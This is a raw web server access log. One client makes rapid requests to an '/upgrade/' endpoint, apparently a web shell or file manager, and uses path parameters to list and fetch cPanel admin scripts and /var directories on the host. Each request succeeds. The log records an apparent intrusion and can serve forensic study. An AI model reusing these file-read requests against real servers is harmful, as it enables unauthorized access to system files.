45.135.193.11 - - [11/Sep/2026:22:43:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funslavenamedconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38107 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funslavenamedconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_mdbox_to_maildir&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38544 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_mdbox_to_maildir&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdelpop&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40216 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdelpop&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixmailman&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38432 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixmailman&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkilldns-dnsadmin&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38232 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkilldns-dnsadmin&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fckillall&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38353 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fckillall&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuild_dbmap&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40276 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuild_dbmap&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsecurerailsapps&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39153 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsecurerailsapps&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fzoneexists&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38180 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fzoneexists&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fverify_pidfile&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38737 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fverify_pidfile&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:22 -0400] "GET /upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F&option=file HTTP/1.1" 200 37746 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftest_sa_compiled&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38256 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftest_sa_compiled&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatessldomains&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38618 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatessldomains&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fis_update_available&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39206 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fis_update_available&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39079 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_sshd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154284 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_sshd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuilddovecotconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41392 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuilddovecotconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgenerate_google_drive_oauth_uri&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38226 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgenerate_google_drive_oauth_uri&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbackup_jobs_helper&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41918 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbackup_jobs_helper&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdumpquotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37986 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdumpquotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkillmysqlwildcard&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38338 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkillmysqlwildcard&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fnotify_expiring_certificates_on_linked_nodes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38346 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fnotify_expiring_certificates_on_linked_nodes&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupcp.static&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 324567 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupcp.static&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fxfer_rcube_uid_resolver.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38613 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fxfer_rcube_uid_resolver.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuildhttpdconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39032 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuildhttpdconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_mysql&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40208 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_mysql&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcustom_backup_destination.pl.skeleton&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39076 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcustom_backup_destination.pl.skeleton&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdovecot_set_defaults.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38227 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdovecot_set_defaults.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgensysinfo&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38313 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgensysinfo&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fquotacheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 44308 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fquotacheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fremoveacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37770 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fremoveacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fautorepair&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37614 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fautorepair&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_unreliable_resolvers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39297 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_unreliable_resolvers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_hostname_resolves&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38844 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_hostname_resolves&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Feximstats_spam_check&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38188 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Feximstats_spam_check&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffastmail&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39685 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffastmail&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkillpvhost&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38180 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkillpvhost&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flink_3rdparty_binaries&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38131 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flink_3rdparty_binaries&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_ftpd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37871 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_ftpd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuild_bandwidthdb_root_cache_in_background&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38531 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuild_bandwidthdb_root_cache_in_background&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_maildir_to_mdbox&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38573 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_maildir_to_mdbox&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fhulk-unban-ip&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37734 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fhulk-unban-ip&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpipv6&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154434 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpipv6&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsnapshot_prep&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40386 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsnapshot_prep&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:27 -0400] "GET /upgrade/?file_location=%2Fvar%2F%2F.updated&location=%2Fvar%2F HTTP/1.1" 200 7581 "http://163.245.207.76:443/upgrade/?file_location=%2Fvar%2F%2F.updated&location=%2Fvar%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:27 -0400] "GET /upgrade/?full_path=%2Fvar&location=%2F HTTP/1.1" 200 7790 "http://163.245.207.76:443/upgrade/?full_path=%2Fvar&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/?location=%2Fvar%2F HTTP/1.1" 200 7374 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/?location=%2Fvar%2F&option=folder HTTP/1.1" 200 7388 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/?location=%2Fvar%2Fempty HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Fempty" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/?location=%2Fvar%2Flib HTTP/1.1" 200 8149 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Flib" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:28 -0400] "GET /upgrade/?location=%2Fvar%2Ftmp HTTP/1.1" 200 10047 "http://163.245.207.76:443/upgrade/?location=%2Fvar%2Ftmp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
